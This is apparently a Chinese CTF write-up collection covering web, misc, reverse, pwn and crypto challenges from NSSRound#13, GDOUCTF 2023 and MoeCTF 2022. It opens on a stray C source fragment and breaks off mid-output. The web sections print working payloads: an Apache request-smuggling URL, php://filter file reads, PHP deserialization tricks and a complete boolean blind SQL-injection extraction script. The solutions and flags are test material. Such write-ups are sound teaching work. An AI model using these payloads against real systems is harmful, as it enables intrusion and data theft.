					ch = (ch << 4) + (**p -'A'+10);
				} else {
					zend_string_efree(str);
					return NULL;
				}
			}
			ZSTR_VAL(str)[i] = (char)ch;
		}
		(*p)++;
	}
	ZSTR_VAL(str)[i] = 0;
	ZSTR_LEN(str) = i;
	return str;
}
```


# NSSRound#13

## Web

### 信息收集

进入网站后只有 `It works!` 其他一片空白， 通过 Network - Header 可以发现 Server 为 `Apache/2.4.55 (Unix)` ，尝试进行目录扫描进行信息收集

```bash
$ python dirsearch.py -u http://node4.anna.nssctf.cn:28011/
```

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FpZNhc2SAigB2gFT7djdV%2F%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86-1.png?alt=media&amp;token=d0bce618-4fd9-4324-8691-19d9316d87df" alt=""><figcaption></figcaption></figure>

在 `/cgi-bin/printenv` 和 `/cgi-bin/test-cgi` 中都没有发现可用信息，但在 `index.php` 却藏有以下代码

```php
<?php
if(isset($_GET['file'])){
    echo file_get_contents($_GET['file']);
}
else{
    highlight_file(__FILE__);
}
?>
```

通过百度搜索 `Apache/2.4.55 漏洞` 可以找到 [Apache HTTP Server 请求走私漏洞(CVE-2023-25690)](http://www.hackdig.com/03/hack-949961.htm) ，详细就是 某些 mod\_proxy 配置允许 HTTP 请求走私攻击。又因为 `index.php` 包含文件读取，因此我们可以通过构造 payload `file=/usr/local/apache2/conf/httpd.conf` 来获取 `httpd.conf` 文件来寻找漏洞。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FvqJbLQ7bLxKcvXjCxlUh%2F%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86-2.png?alt=media&amp;token=c3636df2-58da-4069-a70d-17b690a409cd" alt=""><figcaption></figcaption></figure>

我们可以发现以下内容

```
RewriteRule "^/nssctf/(.*)" "http://backend-server:8080/index.php?id=$1" [P] ProxyPassReverse "/nssctf/" "http://backend-server:8080/"
```

这里便使用了 mod\_proxy ，因此我们可以尝试在这里使用请求走私。

通过访问 `http://node4.anna.nssctf.cn:28011/nssctf/` 可以发现回显 `flag in here!!!Can you see it???` 。

尝试访问 `http://node4.anna.nssctf.cn:28011/nssctf/HTTP/1.1%0d%0a%0d%0aGET%20/flag.txt` 即请求走私 `HTTP/1.1 \r\n\r\nGET /flag.txt` 就可以获得 flag 了

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FzXQoqMLRrFzd6O5N4EGr%2F%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86-3.png?alt=media&amp;token=ca6224d2-bc1c-4acc-a32e-b8a1a9ed3375" alt=""><figcaption></figcaption></figure>


# GDOUCTF 2023

## Web

### 泄露的伪装

通过 dirsearch 可以发现 `/test.txt` 、 `/www.rar` 为可访问文件， `/test.txt` 文件内容即为开屏显示内容， `/www.rar` 为一个空的压缩包

通过 010Editor 可以发现 `www.rar` 的文件头为 504B0304，说明此文件原先为 ZIP 压缩包，修改文件名为 `www.zip` 并打开压缩包可以获得 `gift（2）.txt` 文件，使用文本打开可以得到下一关 `/orzorz.php` ，跳转到 `/orzorz.php` 可以得到一下 PHP 代码。

```php
<?php
error_reporting(0);
if(isset($_GET['cxk'])){
    $cxk=$_GET['cxk'];
    if(file_get_contents($cxk)=="ctrl"){
        echo $flag;
    }else{
        echo "洗洗睡吧";
    }
}else{
    echo "nononoononoonono";
}
?>
```

file\_get\_contents() 函数可以通过 php\://input 或者 data:// 伪协议进行绕过，例如 `data://text/plain;base64,<base64 data>` 或者 `php://input` 并且在 body 属性中加入所需 input 的值

通过构造 payload `[params]cxk=php://input [body]ctrl` 即可获得 flag

### 反方向的钟

通过 Network 可知当前系统的 PHP 版本为 7.3.11，排除 \_\_wakeup() 绕过这一方法。

通过逐步分析类可以构造出以下示例

```php
$a = new school(new classroom("one class", new teacher("ing", "department")), "ong");
$str = base64_encode(serialize($a));
echo $str;
// Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7aToxMDAwMDt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9 
```

通过构造 payload 可以回显 Pretty Good ! Ctfer! 说明执行成功，就到了下一步，即使用 SplFileObject 类进行读写文件，搭配 php\:// 伪协议即可获取 flag.php 的内容

通过构造 payload `a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php` 回显得到 PD9waHANCiRmbGFnID0gIk5TU0NURnszOWIxYWE4NS1mNTEyLTQwYTEtOTI4NS0wNmIyYmZmMjY5ZmJ9IjsNCj8+DQo=，解密即可得到 flag

### 受不了一点

第一关为 md5 的强比较绕过，通过构造数组 `ctf[]=1&gdou[]=2` 绕过即可。

第二关为 cookie，直接设置 cookie 为 `j0k3r` 即可。

第三关为类型弱比较，通过在传参时添加字母即 `aaa=114514&bbb=114514a` 就可以绕过。

第四关为引用变量，通过代码可以进行构造

```php
$1 = $flag;
$flag = $1 = $flag;
```

即 payload(params) `1=flag&flag=1` 就可以获得 flag 了。

### EZ WEB

通过查看源代码可以获得 Hint "/src"，通过访问后便可以得到 `app.py` 。

通过查看 `app.py` 可以看到这题需要使用 Flask 模板注入，并且还提供了一个入口 `/super-secret-route-nobody-will-guess` 并且支持 PUT 方式发送请求，因此发送 PUT 请求即可得到 flag 了。

### hate eat snake

可以发现蛇的速度可以通过 Snake 类的 speed 属性进行设置，因此通过 setInterval() 函数让蛇速度一直为 0 即可获得 flag

```js
let snake = new Snake('eatSnake', 0, false);
setInterval(() => { snake.speed = 0 }, 1);
```

## MISC

### misc\_or\_crypto?

> bmp图片隐写

下载附件后获得 `flag.bmp` 文件，通过在 Linux 终端中输入

```sh
$ string flag.bmp
```

即可以获得一串 RSA 密钥以及一串密文，通过将密文解密即可获得 flag，但是存在一个坑，即 **flag 以 NSSCTF{} 形式提交**。

### Matryoshka

> 压缩包套娃

通过下载附件可以得到压缩包 `Matryoshka.zip` ，解压后可以得到加密的压缩包 `Matryoshka1000.zip`

以及密码文本 `password1000.txt` 。通过分析需要替换才能获得真正的密码，替换如下

```python
passwd = open('./task/password1000.txt').read()

passwd = passwd.replace('one', '1')
passwd = passwd.replace('two', '2')
passwd = passwd.replace('three', '3')
passwd = passwd.replace('four', '4')
passwd = passwd.replace('five', '5')
passwd = passwd.replace('six', '6')
passwd = passwd.replace('seven', '7')
passwd = passwd.replace('eight', '8')
passwd = passwd.replace('nine', '9')
passwd = passwd.replace('zero', '0')
passwd = passwd.replace('plus', '+')
passwd = passwd.replace('times', '*')

print(passwd)
# 8509527+170747742+410330*351657887+51791538
```

通过 eval 函数执行可以得出计算结果为 `144296011821517` ，验证结果密码错误，尝试从左到右进行计算。

```python
print((8509527+170747742+410330)*351657887+51791538)
# 63181528278494851
```

以上密码经过验证密码正确，因此通过循环解开所有套娃的压缩包即可。在解开所有压缩包之前还需要获得剩下两个运算符的替换。通过上面类似代码可以得出

```python
passwd = passwd.replace('minus', '-')
passwd = passwd.replace('mod', '%')
```

当循环代码执行到 996 时报错【解压密码错误】，通过查看密码可以发现密码为 `-29041679` 是负数，需要转换为正数才可以，因此需要使用 abs 函数，具体代码如下

```python
import zipfile
import re
import os

def password(_path):
    pwd = open(_path)
    
    passwd = pwd.read()
    passwd = passwd.replace('one', '1')
    passwd = passwd.replace('two', '2')
    passwd = passwd.replace('three', '3')
    passwd = passwd.replace('four', '4')
    passwd = passwd.replace('five', '5')
    passwd = passwd.replace('six', '6')
    passwd = passwd.replace('seven', '7')
    passwd = passwd.replace('eight', '8')
    passwd = passwd.replace('nine', '9')
    passwd = passwd.replace('zero', '0')
    passwd = passwd.replace('plus', '+')
    passwd = passwd.replace('times', '*')
    passwd = passwd.replace('minus', '-')
    passwd = passwd.replace('mod', '%')

    number = re.findall(r'\d+', passwd)
    symbol = re.findall(r'\D+', passwd)

    result = ''

    for i in range(len(symbol)):
        if i == 0:
            result = str(eval(str(int(number[i])) + symbol[i] + str(int(number[i + 1]))))
        else:
            result = str(eval(result + symbol[i] + str(int(number[i + 1]))))

    pwd.close()
    return str(abs(int(result)))


path = './Matryoshka.zip'
zip_src = zipfile.ZipFile(path, 'r')
zip_src.extractall('./task')
zip_src.close()

for i in range(1000, -1, -1):
    zip_path = "./task/Matryoshka{}.zip".format(i)
    password_path = "./task/password{}.txt".format(i)

    print(i, password(password_path).encode())
    zip_src = zipfile.ZipFile(zip_path)
    zip_src.extractall('./task', pwd=password(password_path).encode())

    zip_src.close()
    os.remove(zip_path)
    os.remove(password_path)
```

运行结束后获得 `flag.txt` 文件，内容即为 flag

### pixelart

> 参考WP <https://www.nssctf.cn/note/set/1790> 感谢 hehanzzz 师傅

下载附件通过 010Editor 可以在尾部发现提示 `320*180` 的提示，而源图片分辨率为 `3840*2160` ，说明按照等比例缩小了 12 倍，因此需要编写代码将图片缩小 12 倍

```python
from PIL import Image

original_image = Image.open('arcaea.png')

new_width = original_image.width // 12
new_height = original_image.height // 12

new_image = Image.new("RGB",(new_width,new_height))

for x in range(new_width):
    for y in range(new_height):
        pixel = original_image.getpixel((x *12,y*12))
        new_image.putpixel((x,y),pixel)

new_image.save("flag.png")
```

之后通过 `zsteg flag.png` 即可获得 flag


# MoeCTF 2022

## Web

### baby\_file

#### 题目

```php
<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}
?>
```

#### 解题

这题是简单的文件包含，先用 dirsearch 扫描一下。

```bash
$ python dirsearch.py -u http://node2.anna.nssctf.cn:28169/
```

可以扫描到 `/flag.php` ，通过构造以下 Payload

```url
file=php://filter/read=convert.base64-encode/resource=flag.php
```

可以获得到 `flag.php` 的源码

```php
<?php
Hey hey, reach the highest city in the world! Actually I am ikun!!;
NSSCTF{b3333432-7dff-4ca8-b6f4-cd4bd5fc6688};
?>
```

### ezhtml

通过 `右键 - 查看网页源代码` 寻找答案没有结果，发现底下有个 `evil.js` ，访问该文件可以得到 flag 力！

### what are y0u uploading？

随便提交一个图片可以得到以下回显

```html
文件上传成功！filename：fea5445634569c851f2933f11259cc92.png
我不想要这个特洛伊文件，给我一个f1ag.php 我就给你flag!
```

通过修改 Request 中的 `filename` 为 `f1ag.php` 即可得到 flag 了。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FEvxwgLAwBHNZNHFReYZE%2Fimage.png?alt=media&amp;token=71dc3823-f17d-4c92-a0b9-b3cd928a8c14" alt=""><figcaption></figcaption></figure>

### ezphp

先来分析源码\~

```php
<?php

highlight_file('source.txt');
echo "<br><br>";

$flag = 'xxxxxxxx';
$giveme = 'can can need flag!';
$getout = 'No! flag.Try again. Come on!';

// $_GET['flag'] 和 $_POST['flag'] 至少存在一个
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($giveme);
}

// $_GET['flag'] 和 $_POST['flag'] 至少一个值为 flag
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    exit($getout);
}

//将 value 的值赋给 $key
foreach ($_POST as $key => $value) {
    $$key = $value;
}

//将 $value 的值赋给 $key
foreach ($_GET as $key => $value) {
    $$key = $$value;
}

echo 'the flag is : ' . $flag;

?>
```

分析结束后，通过构造以下 Payload

```
test=flag&flag=test
```

就可以获得到 flag 了，原理是先将 test 的值复制 flag 的值，又因为必须存在一个 `$_GET['flag'] === 'flag'` ，因此将 flag 的值改为 test 的值就可以了。

### Sqlmap\_boy

查看网站源代码可以发现

```html
<!-- $sql = 'select username,password from users where username="'.$username.'" && password="'.$password.'";'; -->
```

通过访问 `http://node2.anna.nssctf.cn:28497/login.php` 回显

```json
{
	code: "0",
	message: "用户名或密码错误"
}
```

应该可以推断为布尔注入，通过编写以下代码

```python
import time
import requests

url = 'http://node2.anna.nssctf.cn:28497/login.php'
session = requests.Session()
def getDatabase():
    results = []
    for i in range(1000):
        print(f'{i}...')
        start = -1
        end = 255
        mid = -1
        while start < end:
            mid = (start + end) // 2
            params = {"username": f'admin" and (ascii(substr(database(),{i+1},1))>{mid})#'}
            ret = session.post(url, data=params)
            if '"code":"1"' in ret.text:
                start = mid + 1
            else:
                end = mid
            time.sleep(0.05)
        if mid == -1:
            break
        results.append(chr(start))
        print(''.join(results))
    return ''.join(results)

begin = time.time()
getDatabase()
print(f'time spend: {time.time() - begin}')
```

可以得到数据库名为 `moectf` ，通过修改上面代码中的变量 params 成如下内容

```python
params = {"username": f'admin" and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="moectf" limit 0,1),{i+1},1))>{mid})#'}
```

可以得到数据库表 `articles,flag,users` ，通过修改上面代码中的变量 params 成如下内容

```python
params = {"username": f'admin" and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="moectf" and table_name="flag"),{i+1},1))>{mid})#'}
```

可以得到列名 `flAg` ，通过修改上面代码中的变量 params 成如下内容

```python
params = {"username": f'admin" and (ascii(substr((select flAg from flag limit 0, 1),{i+1},1))>{mid})#'}
```

就可以得到 flag 力！

### cookiehead

题目包含 cookie ，那就是 Cookies 里面一探究竟！

首先打开题目后到达第一关 `仅限本地访问` ，用 HackBar 添加 Header

```http
X-Forwarded-For: 127.0.0.1
```

之后提示 `请先登录` ，将 Cookies 修改成 `login=1` 即可。

最后一关 `You are not from http://127.0.0.1/index.php !` 则添加 Header

```http
Referer: http://127.0.0.1/index.php
```

就可以得到 flag 啦！

### God\_of\_aim

右键查看源代码可以得到提示

```html
<!-- 你知道吗？index.js实例化了一个aimTrainer对象-->
```

可以在 `aimtrainer.js` 文件中发现 `checkflag1()` 和 `checkflag2()` 函数，在 Console 输入 `_0x78bd` 可以得到回显

```js
['aimTrainerEl', 'aim-trainer', 'getElementById', 'scoreEl', 'score', 'aimscore', 'delay', 'targetSize', 'aimscoreEL', 'setScore', 'start', 'innerHTML', 'setAimScore', 'position', 'style', 'relative', 'timer', 'createTarget', 'checkflag1', 'checkflag2', 'stop', 'moectf{Oh_you_can_a1m_', '你已经学会瞄准了！试试看:', 'start2', 'and_H4ck_Javascript}', '']
```

就可以得到 flag `moectf{Oh_you_can_a1m_and_H4ck_Javascript}` 了！

## Reverse

### Reverse入门指北

flag 就在指北最底下，好耶，是指北！

### checkin

使用 IDA 打开后就可以发现 flag 力！

### Hex

使用 010 Editor 打开 `Hex.exe` 后搜索 `moectf` 可以发现 flag

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FJqDK0RmNB2YYQWG3NrZW%2FHex-1.png?alt=media&amp;token=042fa346-1957-4a49-87f6-e3853446a8d5" alt=""><figcaption></figcaption></figure>

### Base

使用 IDA 打开后对着 `main` F5 就可以发现 base64 加密内容

```
1wX/yRrA4RfR2wj72Qv52x3L5qa=
```

并且在 `main` 中还可以发现一个符号表

```
abcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZ
```

通过 CyberChef 一把梭可以得到 flag `moectf{qwqbase_qwq}`

### begin

使用 IDA 打开后对着 `main` F5 就可以发现

```c
for ( i = 0; i < strlen(Str); ++i )
    Str[i] ^= 0x19u;
if ( !strcmp(Str, Str2) )
    puts("\nGood job!!! You know how to decode my flag by xor!");
else
    puts("\nQwQ. Something wrong. Please try again. >_<");
```

通过分析以上代码可以发现需要对每个字符与 `0x19` 进行异或运算，若和 `Str2` 比对完全一致则弹出正确，通过双击也可以发现 `Str2` 的内容。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2Ffd8qzWDryUh9NrN7JHly%2FBase-1.png?alt=media&amp;token=dfc63450-b48b-4001-be1d-5d26ae50c3ca" alt=""><figcaption></figcaption></figure>

整理内容可以得到一个数组

```python
arr = [0x74, 0x76, 0x7C, 0x7A, 0x6D, 0x7F, 0x62, 0x41, 0x29, 0x6B,
       0x46, 0x28, 0x6A, 0x46, 0x6A, 0x29, 0x46, 0x70, 0x77, 0x6D,
       0x2A, 0x6B, 0x2A, 0x6A, 0x6D, 0x70, 0x77, 0x7E, 0x38, 0x38,
       0x38, 0x38, 0x38, 0x64]
```

编写 Python 代码对数组内容进行异或运算并且转为字符就可以得到 flag 了。

```python
arr = [0x74, 0x76, 0x7C, 0x7A, 0x6D, 0x7F, 0x62, 0x41, 0x29, 0x6B,
       0x46, 0x28, 0x6A, 0x46, 0x6A, 0x29, 0x46, 0x70, 0x77, 0x6D,
       0x2A, 0x6B, 0x2A, 0x6A, 0x6D, 0x70, 0x77, 0x7E, 0x38, 0x38,
       0x38, 0x38, 0x38, 0x64]

flag = ''
for ch in arr:
    flag += chr(ch ^ 0x19)
print(flag)

# moectf{X0r_1s_s0_int3r3sting!!!!!}
```

## Pwn

### shell

```bash
$ nc node3.anna.nssctf.cn 28646
Welcome to PWN world!
In PWN, your goal is to get shell.
Here I'll give you the shell as a gift for our first meeting.
Have fun in the following trip!
cat flag
NSSCTF{765b5608-08aa-4876-b917-05a4129cf665}
```

## Crypto

### vigenere

<https://www.guballa.de/vigenere-solver>

```
6. i won't tell you that the flag is moectf attacking the vigenere cipher is interesting
```

解码后就可以得到 flag `moectf{attacking_the_vigenere_cipher_is_interesting}` 了

### 0rsa0

#### 第一关

打开文件后可以看到 `e1=3` ，可以使用低加密指数攻击。

```python
from Crypto.Util.number import *
from gmpy2 import iroot

c = 1402983421957507617092580232325850324755110618998641078304840725502785669308938910491971922889485661674385555242824
n = 133024413746207623787624696996450696028790885302997888417950218110624599333002677651319135333439059708696691802077223829846594660086912881559705074934655646133379015018208216486164888406398123943796359972475427652972055533125099746441089220943904185289464863994194089394637271086436301059396682856176212902707

i = 0
while 1:
    if iroot(c + i * n, 3)[1] == 1:
        m = iroot(c + i * n, 3)[0]
        print(long_to_bytes(m))
        break
    i = i + 1
```

通过低加密指数攻击可以得到明文 `T8uus_23jkjw_asr`

#### 第二关

可以发现存在 dp 泄露，因此可以通过泄露的 dp 进行攻击。

```python
from Crypto.Util.number import long_to_bytes
from gmpy2 import *

e = 65537
n = 159054389158529397912052248500898471690131016887756654738868415880711791524038820158051782236121110394481656324333254185994103242391825337525378467922406901521793714621471618374673206963439266173586955520902823718942484039624752828390110673871132116507696336326760564857012559508160068814801483975094383392729
dp = 947639117873589776036311153850942192190143164329999603361788468962756751774397111913170053010412835033030478855001898886178148944512883446156861610917865
c = 37819867277367678387219893740454448327093874982803387661058084123080177731002392119369718466140559855145584144511271801362374042596420131167791821955469392938900319510220897100118141494412797730438963434604351102878410868789119825127662728307578251855605147607595591813395984880381435422467527232180612935306

for i in range(1, e):
    if (dp * e - 1) % i == 0:
        if n % (((dp * e - 1) // i) + 1) == 0:
            p = ((dp * e - 1) // i) + 1
            q = n // (((dp * e - 1) // i) + 1)
            phi = (q - 1) * (p - 1)
            d = invert(e, phi)
            m = pow(c, d, n)
            print(long_to_bytes(m))
            break
```

通过 dp 泄露攻击可以得到明文 `_3d32awd!5f&#@sd`

所以 flag 就是 `moectf{T8uus_23jkjw_asr_3d32awd!5f&#@sd}`

### Signin

这道题的 phi 与 e 并不互素，尝试用 `gmpy2.invert(e, q - 1)` 不行，用 `d = gmpy2.invert(e, p - 1)` 可以。

```python
import gmpy2
from Crypto.Util.number import *

e = 65537
p = 12408795636519868275579286477747181009018504169827579387457997229774738126230652970860811085539129972962189443268046963335610845404214331426857155412988073
q = 12190036856294802286447270376342375357864587534233715766210874702670724440751066267168907565322961270655972226761426182258587581206888580394726683112820379
c = 68960610962019321576894097705679955071402844421318149418040507036722717269530195000135979777852568744281930839319120003106023209276898286482202725287026853925179071583797231099755287410760748104635674307266042492611618076506037004587354018148812584502385622631122387857218023049204722123597067641896169655595
phi = (q - 1) * (p - 1)
d = gmpy2.invert(e, p - 1)
n = p * q

m = pow(c, d, p)

print(long_to_bytes(m))
# moectf{Oh~Now_Y0u_Kn0W_HoW_RsA_W0rkS!}
```

### 一次就好

根据题目文件可以看出两个素数是相近的，并且明文是经过异或运算的

```python
import gmpy2
from Crypto.Util.strxor import strxor
from Crypto.Util.number import *

n = 164395171965189899201846744244839588935095288852148507114700855000512464673975991783671493756953831066569435489213778701866548078207835105414442567008315975881952023037557292470005621852113709605286462434049311321175270134326956812936961821511753256992797013020030263567313257339785161436188882721736453384403
e = 0x10001
gift = 127749242340004016446001520961422059381052911692861305057396462507126566256652316418648339729479729456613704261614569202080544183416817827900318057127539938899577580150210279291202882125162360563285794285643498788533366420857232908632854569967831654923280152015070999912426044356353393293132914925252494215314
c = b'Just once,I will accompany you to see the world'

temp = gmpy2.iroot(n, 2)[0]
p = gmpy2.next_prime(temp)
q = n // p
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = gmpy2.powmod(gift, d, n)
key = long_to_bytes(m)
flag = strxor(key, c)
print(flag)
# moectf{W0w_y02_k5ow_w6at_1s_one_t1m3_pa7}
```

### smooth

根据文件中的 `get_vulnerable_prime()` 函数可以得出 p-1 是光滑数，

* 光滑数 (Smooth number)：指可以分解为小素数乘积的正整数

通过费马小定理和 Pollard's p-1 算法就可以分解 n 了。

```python
def smooth(N):
    a = 2
    n = 2
    while True:
        a = powmod(a, n, N)
        res = gcd(a - 1, N)
        if res != 1 and res != N:
            return res
        n += 1
```

第二关则考的是 Wilson 定理，即 `(p - 1)! ≡ 1﹡(p - 1) ≡ -1 (mod p)` 。因为题目已经将 flag 乘以 1 到 P - 1729 (不包含 P - 1729) 取模，因此我们需要继续乘以 P - 1729 到 P - 1 ，这样就可以使用 Wilson 定理来求出真正的 flag 了。

现在的 flag 就是 `flag * (p - 1)!≡ -1 * flag (mod p)` ，因此将 flag 取反取模就可以得到真正的 flag 了。

完整代码如下

```python
from gmpy2 import *
from Crypto.Util.number import *

n = 0xdc77f076092cbe81c44789ccfc1b2ca55eabae65f44cf34382799e8bbb42d4d6c032bd897c21df1da401929d82deb56264823a757f6cacf63e0037146026cbab32ab9e4abc783dcabaac2b7ccc439937be3ab0fbf149524ff29ef0fe6f27e45215d74b40597c70e8207159dc7f542c2a6828500016480053dfc2d8dbf8fcdf6700640184c8f3318f7aab2e17e116edf680592f5eae951159bb8c20cfbd0cbab8b4b95925b5068038d0377a55a4d346ebbf53a1c2943b7c17e1b9d4a1b77916da2e15140b05b96655906942a07d04b7e25fa7521b3b7ae26eda68375a8b8ef2d5b4704a28168b236de97f24a663f0d0a3aeab47767dfe75a21662f5f25ef7f7d4b25c90fd7bcdd7137c23f03b6ea4209f8fb9b4628355e6ad62e6467d26666d3d1b0e6f078c5f3866413a6fcd3c1dc2ff3a5ab286e339d5c72f4d2f0473a4faddcba6b031bb6ec226fd4b319834b5029f09ea0ffeb5b6ed182d5a13675571b6708c38299118043390343e2f79edebd2ae0e0a765a3aebf776f54ca983cdae8547547cfc8430f7222aefa77301d7cc7c03b1451b6603028b21fea869d35138a9c83919985a91b3fdfa934f25a442cc10349b0ed6f2ee3955d40249e8b3fb9f1955534ee06cee41a3ad2d6ff7dbdb0f01e47b9e4d04f65232f5579135ae035e8ba2d1fe6465a730dcc8b9ba3a558ab38f040ea510757d25e92f886c50c24ad967f1
e = 0x10001
c = 0x3cc51d09c48948e2485820f6758fb10c7693c236acc527ad563ba8369c50a0bc3f650f39a871ee7ef127950ed916c5f4dc69894e11caf9d178cd7e8f9bf9af77e1c69384cc5444da64022b45636eeb5b7a221792880dd242be2bb99be3ed02c430c2b77d4912bec1619d664e066680910317c2bb0c87fafdf25f0a2400103278f557b8eca51d3b67d61098f1ab68da072bb2810596180afbc81a840cd24efef4d4113235160e725a5af4824dc716d758b3bc792f2458e979398e001b27e44d21682e2ef80ae94e21cd09a12e522ca2e569df72f012fa40341645445c6e68c6233a8a39e5b91eb14b1ccfa61c9bad25e8e3285a22da27cd506ddd63f207517a4e8ede00b104d8806ff4c0e3162c3de69169d7e584952655272b96d39d242bb83019c7eab1ceb0b4b287591e1e0a5b6378e70340a82d3430c5925d215f31fda6d9d0bccea240591b22a3d0f6b5bf4ddf1243d71aca0fd53045c352c8c5497ebcdbd7ac11083d63aba7c053604fda2430c317a4e04702b5ad539e110f101165b21dcd9fdb5ba7324acdba6a506244ce7c911197dfe067441fe7488d164c050f45ef6476aaf399cedde1793cceb8c21d88ec8ecf5e17df27586713d7dd9566ec5023cfef75422b73e2d5a932c661b3cfdf9c4bda12b64380d2be1aa957c3e1416e068937bafe79b8cf303296792388e9c197702e11e7ded6088ae992d352b23a4a27


def smooth(N):
    a = 2
    n = 2
    while True:
        a = powmod(a, n, N)
        res = gcd(a - 1, N)
        if res != 1 and res != N:
            return res
        n += 1


p = smooth(n)
q = n // p
phi = (p - 1) * (q - 1)
d = invert(e, phi)
m = pow(c, d, n)

for i in range(p-1729, p):
    m = m * i % p
m = (-m) % p
print(long_to_bytes(m))
# moectf{Charming_primes!_But_Sm0oth_p-1_1s_vu1nerab1e!}
```

### 入门指北

运行参考答案即可获得 flag ，好耶！是指北！

moectf{Welc0me\_t0\_fascinating\_crypto\_w0rld}

### MiniMiniBackPack

> <https://ctf-wiki.org/crypto/asymmetric/knapsack/knapsack/>

#### 题目脚本

```python
from gmpy2 import *
from Crypto.Util.number import *
import random
from FLAG import flag

def gen_key(size):
    s = 1000
    key = []
    for _ in range(size):
        a = random.randint(s + 1, 2 * s)
        assert a > sum(key)
        key.append(a)
        s += a
    return key


m = bytes_to_long(flag)
L = len(bin(m)[2:])
key = gen_key(L)
c = 0

for i in range(L):
    c += key[i]**(m&1)
    m >>= 1

print(key)
print(c)
```

#### 解题

通过分析题目脚本可知 flag 转成了二进制后，通过 `gen_key()` 函数来生成一个 key 数组，并且通过 `assert a > sum(key)` 使得 key 数组中的所有之和比 a 小，这也说明这是一个超递增序列。

之后就是从 m 的后 i 位开始从后往前与 1 进行与运算，并且将其的值作为 key\[i] 的指数，若 m 的后 i 位为 1 则 c 在原基础上加 key\[i]，反之则加 1。

解题将 key 数组倒序即可获得正序的 flag ，解题过程将上诉加密过程逆序即可。

```python
from Crypto.Util.number import *

txt = open('附件.txt').readlines()
key = eval(txt[0])
key = key[::-1]
c = 2396891354790728703114360139080949406724802115971958909288237002299944566663978116795388053104330363637753770349706301118152757502162
m = ''

for i in key:
    if c - i > 0:
        c -= i
        m += '1'
    else:
        c -= 1
        m += '0'

m = int(m, 2)
print(long_to_bytes(m))
# moectf{Co#gRa7u1at1o^s_yOu_c6n_d3c0de_1t}
```

## Misc

### Misc指北

文档末尾存在摩斯电码，内容如下

```
.-- . .-.. ..--- --- -- . ..--.- ....- --- ..--.- -- .. ...-- -.-. ..--.- .---- ..- -.-. -.- -.-- -.-.--
```

用 CyberChef 一把梭可以得到 flag `moectf{WEL2OME_4O_MI3C_1UCKY!}`

### nyanyanya

用 StegSolve 查看图片可以发现 Red plane 3 有文字。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2Fw7UcM01n0AqLYeKHor91%2Fnyanyanya-1.png?alt=media&amp;token=ea327f2a-8e3b-4013-9932-38b6e1e3ee57" alt=""><figcaption></figcaption></figure>

用 Data Extract 设置 Red plane 0、Green plane 0、Blue plane 0，可以发现 flag 就出来了

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FFn3qoNPF6I7LgDWct8Ac%2Fnyanyanya-2.png?alt=media&amp;token=7c1087e3-5248-401c-ae3c-7966085514eb" alt=""><figcaption></figcaption></figure>

### cccrrc

> crc32 爆破脚本 <https://github.com/theonlypwner/crc32>

看标题猜测是 压缩包crc爆破（

点击打开压缩包可以看到压缩后大小都是 16，满足爆破条件

```bash
$ python crc32.py reverse 0x67b2d3df
4 bytes: {0x6d, 0x6f, 0x65, 0x63}
verification checksum: 0x67b2d3df (OK)
alternative: 8tLtKb (OK)
alternative: 9USU97 (OK)
alternative: BbaPOC (OK)
alternative: Jhw3Ck (OK)
alternative: K9Tc4n (OK)
alternative: SSKsHA (OK)
alternative: TJLMbj (OK)
alternative: bmRitF (OK)
alternative: e9xj3e (OK)
alternative: lbMYHH (OK)
alternative: txn817 (OK)
alternative: v4WWmz (OK)
$ python crc32.py reverse 0x628abed2
4 bytes: {0x74, 0x66, 0x7b, 0x71}
verification checksum: 0x628abed2 (OK)
alternative: 1bMsCU (OK)
alternative: 4GOS0c (OK)
alternative: 5fPrB6 (OK)
alternative: BbxYQQ (OK)
alternative: Cb9hJH (OK)
alternative: FfeXP2 (OK)
alternative: Lmgim_ (OK)
alternative: NQbw4B (OK)
alternative: SSRzVS (OK)
alternative: X4bWtc (OK)
alternative: dhB3Zr (OK)
alternative: fiVak7 (OK)
alternative: hfIQW9 (OK)
alternative: lbTPVZ (OK)
$ python crc32.py reverse 0x6b073427
4 bytes: {0x77, 0x71, 0x5f, 0x63}
verification checksum: 0x6b073427 (OK)
